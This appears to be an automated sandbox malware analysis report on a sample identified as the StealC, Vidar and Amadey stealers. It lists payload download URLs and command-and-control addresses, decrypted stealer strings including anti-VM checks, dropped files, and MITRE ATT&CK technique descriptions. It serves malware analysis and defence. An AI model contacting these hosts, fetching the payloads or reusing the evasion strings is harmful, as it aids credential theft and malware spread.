API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: adf499abd794ad8db8b93a968faeb889657cadf594e20e2b34d33be2b1b3c6fd
Instruction ID: 7fb89141c91d18d43c1df5b2c8d5f9110bdbe2f36502ce94759db0ec4f0f1325
Opcode Fuzzy Hash: adf499abd794ad8db8b93a968faeb889657cadf594e20e2b34d33be2b1b3c6fd
Instruction Fuzzy Hash: F8F0D1B27052005BF7109A18EC88E5BB3A9AB5635DB150035EA1AC3F02E732F918C6A6

Source: http://77.91.77.82/Hun4Ko/index.php	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exerQs	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exeData	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/stealc/random.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exea	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/well/random.exem-urlencoded	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/well/random.exe	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe00	Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exe.phpefoxx	Avira URL Cloud: Label: phishing

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Avira: detection malicious, Label: TR/AutoIt.zstul
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Source: 0000000C.00000002.1965705738.0000000000634000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: 0.2.file.exe.420000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: explorti.exe.7360.8.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php"]}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\KECBKKEBKE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Joe Sandbox ML: detected

Source: 0.2.file.exe.420000.0.unpack	String decryptor: INSERT_KEY_HERE
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetProcAddress
Source: 0.2.file.exe.420000.0.unpack	String decryptor: LoadLibraryA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: lstrcatA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: OpenEventA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CreateEventA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CloseHandle
Source: 0.2.file.exe.420000.0.unpack	String decryptor: Sleep
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetUserDefaultLangID
Source: 0.2.file.exe.420000.0.unpack	String decryptor: VirtualAllocExNuma
Source: 0.2.file.exe.420000.0.unpack	String decryptor: VirtualFree
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetSystemInfo
Source: 0.2.file.exe.420000.0.unpack	String decryptor: VirtualAlloc
Source: 0.2.file.exe.420000.0.unpack	String decryptor: HeapAlloc
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetComputerNameA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: lstrcpyA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetProcessHeap
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetCurrentProcess
Source: 0.2.file.exe.420000.0.unpack	String decryptor: lstrlenA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: ExitProcess
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GlobalMemoryStatusEx
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetSystemTime
Source: 0.2.file.exe.420000.0.unpack	String decryptor: SystemTimeToFileTime
Source: 0.2.file.exe.420000.0.unpack	String decryptor: advapi32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: gdi32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: user32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: crypt32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: ntdll.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetUserNameA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CreateDCA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetDeviceCaps
Source: 0.2.file.exe.420000.0.unpack	String decryptor: ReleaseDC
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CryptStringToBinaryA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: sscanf
Source: 0.2.file.exe.420000.0.unpack	String decryptor: VMwareVMware
Source: 0.2.file.exe.420000.0.unpack	String decryptor: HAL9TH
Source: 0.2.file.exe.420000.0.unpack	String decryptor: JohnDoe
Source: 0.2.file.exe.420000.0.unpack	String decryptor: DISPLAY
Source: 0.2.file.exe.420000.0.unpack	String decryptor: %hu/%hu/%hu
Source: 0.2.file.exe.420000.0.unpack	String decryptor: http://85.28.47.30
Source: 0.2.file.exe.420000.0.unpack	String decryptor: /920475a59bac849d.php
Source: 0.2.file.exe.420000.0.unpack	String decryptor: /69934896f997d5bb/
Source: 0.2.file.exe.420000.0.unpack	String decryptor: Nice
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetEnvironmentVariableA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetFileAttributesA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GlobalLock
Source: 0.2.file.exe.420000.0.unpack	String decryptor: HeapFree
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetFileSize
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GlobalSize
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 0.2.file.exe.420000.0.unpack	String decryptor: IsWow64Process
Source: 0.2.file.exe.420000.0.unpack	String decryptor: Process32Next
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetLocalTime
Source: 0.2.file.exe.420000.0.unpack	String decryptor: FreeLibrary
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetTimeZoneInformation
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetSystemPowerStatus
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetVolumeInformationA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetWindowsDirectoryA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: Process32First
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetLocaleInfoA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetUserDefaultLocaleName
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetModuleFileNameA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: DeleteFileA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: FindNextFileA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: LocalFree
Source: 0.2.file.exe.420000.0.unpack	String decryptor: FindClose
Source: 0.2.file.exe.420000.0.unpack	String decryptor: SetEnvironmentVariableA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: LocalAlloc
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetFileSizeEx
Source: 0.2.file.exe.420000.0.unpack	String decryptor: ReadFile
Source: 0.2.file.exe.420000.0.unpack	String decryptor: SetFilePointer
Source: 0.2.file.exe.420000.0.unpack	String decryptor: WriteFile
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CreateFileA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: FindFirstFileA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CopyFileA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: VirtualProtect
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetLastError
Source: 0.2.file.exe.420000.0.unpack	String decryptor: lstrcpynA
Source: 0.2.file.exe.420000.0.unpack	String decryptor: MultiByteToWideChar
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GlobalFree
Source: 0.2.file.exe.420000.0.unpack	String decryptor: WideCharToMultiByte
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GlobalAlloc
Source: 0.2.file.exe.420000.0.unpack	String decryptor: OpenProcess
Source: 0.2.file.exe.420000.0.unpack	String decryptor: TerminateProcess
Source: 0.2.file.exe.420000.0.unpack	String decryptor: GetCurrentProcessId
Source: 0.2.file.exe.420000.0.unpack	String decryptor: gdiplus.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: ole32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: bcrypt.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: wininet.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: shlwapi.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: shell32.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: psapi.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: rstrtmgr.dll
Source: 0.2.file.exe.420000.0.unpack	String decryptor: CreateCompatibleBitmap
Source: 0.2.file.exe.420000.0.unpack	String decryptor: SelectObject
Source: 0.2.file.exe.420000.0.unpack	String decryptor: BitBlt
Source: 0.2.file.exe.420000.0.unpack	String decryptor: DeleteObject

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000006001\a16b294260.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1000007001\29c55c1284.exe	ReversingLabs: Detection: 42%

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AEBKFIJEGCAAFHJKFCFC

C:\ProgramData\EBAFHCBF

C:\ProgramData\EBAFHCBFHDHCAAKFHDGDBKFCGC

C:\ProgramData\FCAKFCGC

C:\ProgramData\GDBFHDHJKKJDHJJJJKEG

C:\ProgramData\GIDAECGDAFBAAAAAECGI

C:\ProgramData\JKJKJJDBKEGIECAAECFHCFBGIJ

C:\ProgramData\KKJJEBFCGDAKFIEBAAFBFCGCBF

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre